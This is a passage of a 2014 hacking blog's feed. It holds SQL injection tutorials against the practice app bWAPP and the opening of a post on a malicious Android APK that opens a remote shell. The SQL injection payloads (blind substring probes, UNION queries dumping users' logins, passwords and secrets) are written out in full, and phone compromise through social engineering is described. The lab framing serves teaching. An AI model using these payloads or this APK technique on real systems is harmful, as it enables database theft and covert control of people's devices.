&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),4,1)=&#39;p&#39; # true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1CyvSivVfdj4_P0H3-GX3WyrUyhxis6dZ8XsZs4ywtv8gfrpf_l5CrxV9vBW2wPHdNItIH7S1gYxwxNzLFcpVLA4IjJpve8yS5bkeW0MWhQvSkeqD47e2Mzr7Yi-q114VMFVb7Fwk/s1600/p1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1CyvSivVfdj4_P0H3-GX3WyrUyhxis6dZ8XsZs4ywtv8gfrpf_l5CrxV9vBW2wPHdNItIH7S1gYxwxNzLFcpVLA4IjJpve8yS5bkeW0MWhQvSkeqD47e2Mzr7Yi-q114VMFVb7Fwk/s1600/p1.PNG&quot; height=&quot;97&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Fourth character is p&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),5,1)=&#39;p&#39; # true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidIug4h4XU4KOraec-ckAaTyh8sYs6doICSwTv0s5dLjf35FSwVaQxVj3CqIAYUtgPA-jpKiyLqWLVZpnQrwubVpjwAeTcFHtOshqoVb2Lv_9ncAA-8EQhzTkpvZEoCAZqorgMMGfr/s1600/p.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidIug4h4XU4KOraec-ckAaTyh8sYs6doICSwTv0s5dLjf35FSwVaQxVj3CqIAYUtgPA-jpKiyLqWLVZpnQrwubVpjwAeTcFHtOshqoVb2Lv_9ncAA-8EQhzTkpvZEoCAZqorgMMGfr/s1600/p.PNG&quot; height=&quot;91&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Fifth character is p&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
The database name returned is bwapp. At this point we can start to guess table names and columns. It is quite a slow method of extraction in comparison to error based but still very dangerous!&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
</description><link>http://thehackpot.blogspot.com/2014/05/blind-sql-injection-tutorial.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOHi72MLp6delxXff-GFmyis-rZX5KoBFJakYSUlzae5wDlOEdRLuzvkL65FzYWQ6rbxtEmIXWwfmNBLIx9I3h5nYmLcYpTJylikerED4RMamY7-UoXQxkppPtIV5nsgWpMMnyZPAj/s72-c/movieExists.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-8955235635917699403</guid><pubDate>Fri, 02 May 2014 10:46:00 +0000</pubDate><atom:updated>2014-05-11T09:57:30.131+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SQLi</category><title>Exploiting Error Based SQL Injection in bWAPP</title><description>Hi, for this demo we will be using the bWAPP extremely buggy application. It is available here &lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;bWAPP&lt;/a&gt;. Another useful resource when working with SQLi are the Pentest Monkey &lt;a href=&quot;http://pentestmonkey.net/&quot;&gt;CheatSheets&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Understanding What&#39;s Going On&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2kDCrjLZAg4tUWyJgVshF9RdUCCSULvEZiaffdBlE7szOx-Zb8miic6EqmOCEGTGFS0ISax0QHS-9cQdNoSTf5pIOXvnUGOQZ_XwFzYDuuiFVHPqbzad9A3rlEXzf-2bfZxsqw-oO/s1600/shot1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2kDCrjLZAg4tUWyJgVshF9RdUCCSULvEZiaffdBlE7szOx-Zb8miic6EqmOCEGTGFS0ISax0QHS-9cQdNoSTf5pIOXvnUGOQZ_XwFzYDuuiFVHPqbzad9A3rlEXzf-2bfZxsqw-oO/s1600/shot1.PNG&quot; height=&quot;120&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The first step in exploiting SQL injection is to figure out how the developer has coded the query. As you can see in the image we have a search page that allows us to search for a movie using a string e.g. Iron Man. The movie details are then displayed below that. We can guess that the query will be a select statement and will look roughly like this:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM movieTable WHERE title LIKE &#39;%User_Input_Here%&#39;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM movieTable WHERE title LIKE &#39;%Iron%&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Breaking The Query And Understanding The Results&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We have figured out what the developers code might look like. The developer probably assumes that we are going to put a string value in to search. But we are not ordinary users ;) our objective is to break the query and get some response from the database.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s assume that the developer has used single quotes to enclose the user input. What if we inject a single quote into the search field.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT9bvlEXZgW-M5BYeT3jGH4ZK9XEQ-oh3IZXrLbphQwE-eYQ00RycTIqaeJFBjoVAAa3SRxhAOy520bLfqVEOsb3Bs03ZshWsSB5lu0t1w4XkKLIa23UWNybvvw0WHwYDWzbSrcrBL/s1600/shot2.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT9bvlEXZgW-M5BYeT3jGH4ZK9XEQ-oh3IZXrLbphQwE-eYQ00RycTIqaeJFBjoVAAa3SRxhAOy520bLfqVEOsb3Bs03ZshWsSB5lu0t1w4XkKLIa23UWNybvvw0WHwYDWzbSrcrBL/s1600/shot2.PNG&quot; height=&quot;117&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ok so that has produced an error! So what exactly has happened here. If we look from the query perspective again it will be easier to understand&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT * FROM movieTable WHERE title LIKE &#39;%Iron Man%&#39;&#39;&lt;br /&gt;
&lt;br /&gt;
The database is complaining about the extra quote so we know that that it is actually interpreting the character. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. Fixing What We Broke&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now that we have broken it we can try and fix it. We can use comments to close off our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments for MySQL are as follows: --, #, /*, */&lt;br /&gt;
&lt;br /&gt;
We can now try some true and false statements.Test is not in the results so the database will read the second part of the query.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwukRnafB8_0Mgg6hahjjPKUQjtzGzjBeow8p9lT0n0uATKhFfQUsBOzRkFUrD0-U49qFHU4wsOC8JZ3d4LFOom9jYR8mifOcu8Yye8L9yTHs3lvkDKA-DJI6y9NIlqVRujXEZNnz6/s1600/shot3.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwukRnafB8_0Mgg6hahjjPKUQjtzGzjBeow8p9lT0n0uATKhFfQUsBOzRkFUrD0-U49qFHU4wsOC8JZ3d4LFOom9jYR8mifOcu8Yye8L9yTHs3lvkDKA-DJI6y9NIlqVRujXEZNnz6/s1600/shot3.PNG&quot; height=&quot;216&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&amp;nbsp;Returning all results (true)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNcElF_3cnMK9HKyJyUYb-m4LcVb99Gss_LVL5iMmy-Fk1nKcPNPsaO5wbZTOwZmcIJVEkoG8H1-SNRM88rhOgTLeViLJmv8BKsPDWajXI2JEJmC1VnWPMejmUgwbdb5TovVzWlmpU/s1600/shot4.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNcElF_3cnMK9HKyJyUYb-m4LcVb99Gss_LVL5iMmy-Fk1nKcPNPsaO5wbZTOwZmcIJVEkoG8H1-SNRM88rhOgTLeViLJmv8BKsPDWajXI2JEJmC1VnWPMejmUgwbdb5TovVzWlmpU/s1600/shot4.PNG&quot; height=&quot;103&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Returning no results (false) &lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. Enumeration&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren&#39;t talking about the columns in the database but the columns being used in the query. So let&#39;s validate it, we can use a function called order by:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If we try order by 8 we get an error&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR-mfIgg-14JlhrTA_w0cpfEu66UfJuMYepOvxUxdE3cnyshAIlUMbHct_5zD0vWg-ecO9HWljvz1IaemLVLse8qoCoPhpd5aU1n3oCq98wARawHr0j1r2Uqvk_djSMF6ByX9RGxck/s1600/orderby8.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjR-mfIgg-14JlhrTA_w0cpfEu66UfJuMYepOvxUxdE3cnyshAIlUMbHct_5zD0vWg-ecO9HWljvz1IaemLVLse8qoCoPhpd5aU1n3oCq98wARawHr0j1r2Uqvk_djSMF6ByX9RGxck/s1600/orderby8.PNG&quot; height=&quot;116&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
If we try order by 7 there is no error&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgatjDKYsY-zys0RM3UbXD-K5DvzgKGKKg0udqXXlVrf2-a0VSLce88QEKa9fiQLXzNd52wt3AtJ9JodwEM0qwtiT3Q2wcKu7qaFdm39a2L1WgooyDx3f60wI_0ReuTcmcJWzBd26cU/s1600/orderby7.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgatjDKYsY-zys0RM3UbXD-K5DvzgKGKKg0udqXXlVrf2-a0VSLce88QEKa9fiQLXzNd52wt3AtJ9JodwEM0qwtiT3Q2wcKu7qaFdm39a2L1WgooyDx3f60wI_0ReuTcmcJWzBd26cU/s1600/orderby7.PNG&quot; height=&quot;102&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
This means that the developer is using 7 columns in the query. So let&#39;s update our query&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE &#39;%User_Input_Here%;&lt;br /&gt;
&lt;br /&gt;
We don&#39;t know the column names or tables yet but we are enumerating. We know that we have 7 columns so we can use a function to join queries&lt;br /&gt;
&lt;br /&gt;
We cannot change this part of the query: &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE &#39;%&lt;br /&gt;
&lt;br /&gt;
But we can change this part:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; User_Input_Here%&#39; our injected code #&lt;br /&gt;
&lt;br /&gt;
We can combine these using the UNION statement. We can use the database() to return the db name, you will have to check which columns are dumping to the screen. It looks like the second one is doing so&lt;br /&gt;
&lt;br /&gt;
test&#39; union select  1,database(),1,1,1,1,1 #&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFnsQiCvQtnwpL_fSmyKaF3NWNT0zdNBb9WoQhznslNyB5cLgO1zlcQeCUifhaFhZ9Wl2U6-PiYPgvcVXOg52h97Zywx4xCEvXA6MWaSl2dMF7LTAlrAdeztno-9xWSg1elsG7pPE4/s1600/database.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFnsQiCvQtnwpL_fSmyKaF3NWNT0zdNBb9WoQhznslNyB5cLgO1zlcQeCUifhaFhZ9Wl2U6-PiYPgvcVXOg52h97Zywx4xCEvXA6MWaSl2dMF7LTAlrAdeztno-9xWSg1elsG7pPE4/s1600/database.PNG&quot; height=&quot;118&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
We have successfully returned the database name bWAPP. So what else can we get? Table names possibly&lt;br /&gt;
&lt;br /&gt;
test&#39; union select  1,table_name,1,1,1,1,1 from INFORMATION_SCHEMA.TABLES where table_schema=database() #&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2lvBwh3RQrXAgxBAetWYytbq_splvDmEvG4MJZVvLzlFWX17OjmyZbQrkUL6tSWEUSu9-FuV3vWIKZBYJiTRgCLdJsVN1iMOBfBcFWiHVdidPu7wn0jKL8xb90FjkNnDADpsYs-Tw/s1600/tables.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2lvBwh3RQrXAgxBAetWYytbq_splvDmEvG4MJZVvLzlFWX17OjmyZbQrkUL6tSWEUSu9-FuV3vWIKZBYJiTRgCLdJsVN1iMOBfBcFWiHVdidPu7wn0jKL8xb90FjkNnDADpsYs-Tw/s1600/tables.PNG&quot; height=&quot;172&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We have returned 4 tables blog,heroes,movies and users. Next will be columns from table users.&lt;br /&gt;
&lt;br /&gt;
test&#39; union select  1,column_name,1,1,1,1,1 from INFORMATION_SCHEMA.COLUMNS where table_name=&#39;users&#39; and table_schema=database() #&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGMwFqqshzVHLIOB-MN-xf-4G4_0P5beZvW9FBNvtRIr6jjk9_fn5ch3k6XucxPwMTVNiI1lKRl2g5ozgV0JbE2soRNxs1PQSEOQNnMFUL3OTSZxnE91h7bQgE5PSOnAml7zRdeUsv/s1600/columns.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGMwFqqshzVHLIOB-MN-xf-4G4_0P5beZvW9FBNvtRIr6jjk9_fn5ch3k6XucxPwMTVNiI1lKRl2g5ozgV0JbE2soRNxs1PQSEOQNnMFUL3OTSZxnE91h7bQgE5PSOnAml7zRdeUsv/s1600/columns.PNG&quot; height=&quot;305&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
We can dump the values from some of the columns now&lt;br /&gt;
&lt;br /&gt;
test&#39; union select 1,login,password,email,secret,1,1 from users #&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguzdmyMS0AidAcuHFmtpqbWzezHLpVNW0UaDgeWzs3gOrxSY8KRXWrl5Bvec8JTO-OQQn8X095VJ4Kql8IWY-WOHQOZT30Ocg7CylD_OUnz1qUdjNnuhrDcp-p8w0Hsm5ez_c1WY9m/s1600/dump.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguzdmyMS0AidAcuHFmtpqbWzezHLpVNW0UaDgeWzs3gOrxSY8KRXWrl5Bvec8JTO-OQQn8X095VJ4Kql8IWY-WOHQOZT30Ocg7CylD_OUnz1qUdjNnuhrDcp-p8w0Hsm5ez_c1WY9m/s1600/dump.PNG&quot; height=&quot;147&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
So we have now returned the values! We can simply returned the hashed password using a password cracking tool like John The Ripper. So that&#39;s error based one point to remember is the developer could be using double quotes, brackets or brackets and quotes in the querry so it&#39;s important to try all. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/05/exploiting-error-based-sql-injection-in.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2kDCrjLZAg4tUWyJgVshF9RdUCCSULvEZiaffdBlE7szOx-Zb8miic6EqmOCEGTGFS0ISax0QHS-9cQdNoSTf5pIOXvnUGOQZ_XwFzYDuuiFVHPqbzad9A3rlEXzf-2bfZxsqw-oO/s72-c/shot1.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-6993974138672904053</guid><pubDate>Wed, 30 Apr 2014 18:11:00 +0000</pubDate><atom:updated>2014-05-07T15:53:33.059+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Armitage</category><category domain="http://www.blogger.com/atom/ns#">Metasploit</category><category domain="http://www.blogger.com/atom/ns#">Mobile</category><title>Android Hacking with Armitage</title><description>Hi,&lt;br /&gt;
&lt;br /&gt;
In this post I will show you how to get a remote shell on an android device using Armitage. Armitage is a graphical cyber attack management tool for Metasploit (one of my favorite hacking tools). If you want to learn more about Metasploit and Armitage then I suggest going &lt;a href=&quot;http://www.offensive-security.com/metasploit-unleashed/Main_Page&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://www.fastandeasyhacking.com/&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
So let&#39;s start the demo. I will be using Kali Linux, you can follow the install instructions provided on the link above. The first thing we need to do is create a malicious APK file. APK stands for Android application package file and is quite simply a file format used to install and distribute software on android devices. We will use this malicious APK to open a remote shell on the target device allowing the attacker to send commands to it such as turning on the webcam or microphone.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;APK File Creation&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Once armitage opens you should see a console screen at the bottom. To create the malicious APK we can use the metasploit msfpayload command. For the LHOST you can enter the IP address of your machine (attacker) if you dont know your IP then you can do an ifconfig. You will also need a LPORT for this demo we are using 4444. You should now see the APK on your desktop or whatever location you have chosen.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0cZSJcy34dqDqIukF25ALnO19wHbPKG26w2x1CZFYNPlCTDCFelwbJgLmokk6creME-0VAVVQxy1NU_gK4qiRLBiiz24ldRDNkYB7z2NUoLVlDoEqu9j9IlSB7oRSJyrOG_r35H8J/s1600/msfpayload.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0cZSJcy34dqDqIukF25ALnO19wHbPKG26w2x1CZFYNPlCTDCFelwbJgLmokk6creME-0VAVVQxy1NU_gK4qiRLBiiz24ldRDNkYB7z2NUoLVlDoEqu9j9IlSB7oRSJyrOG_r35H8J/s1600/msfpayload.PNG&quot; height=&quot;55&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;&lt;b&gt;Identifying The Target&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We need to identify our target this can be done by running a scan of the network or by manually adding the host by selecting Hosts &amp;gt; Add Hosts. For this demo I know my Android smartphone is on 192.168.1.2 so I added it manually.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVwCcIlkR9x0VJDMBGZoUScb3sOYwY72Xm39M8-6nWE-7bbU6BMxw2z8Xw_22dRjZGQ3rRcl3WsAR3BKOlvxgJJ7hP0zd4mq6X9wFhU55Yg2pwVTX7_rWsCympu1SpufoRV6ZYB_Yq/s1600/snipping.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVwCcIlkR9x0VJDMBGZoUScb3sOYwY72Xm39M8-6nWE-7bbU6BMxw2z8Xw_22dRjZGQ3rRcl3WsAR3BKOlvxgJJ7hP0zd4mq6X9wFhU55Yg2pwVTX7_rWsCympu1SpufoRV6ZYB_Yq/s1600/snipping.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sending APK To The Target&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This part is up to you. In the real world it will need some social engineering to get the victim to install the app. For this demo I just attached it an email. Before we install the program we need to setup the listener on the attackers machine.&lt;br /&gt;
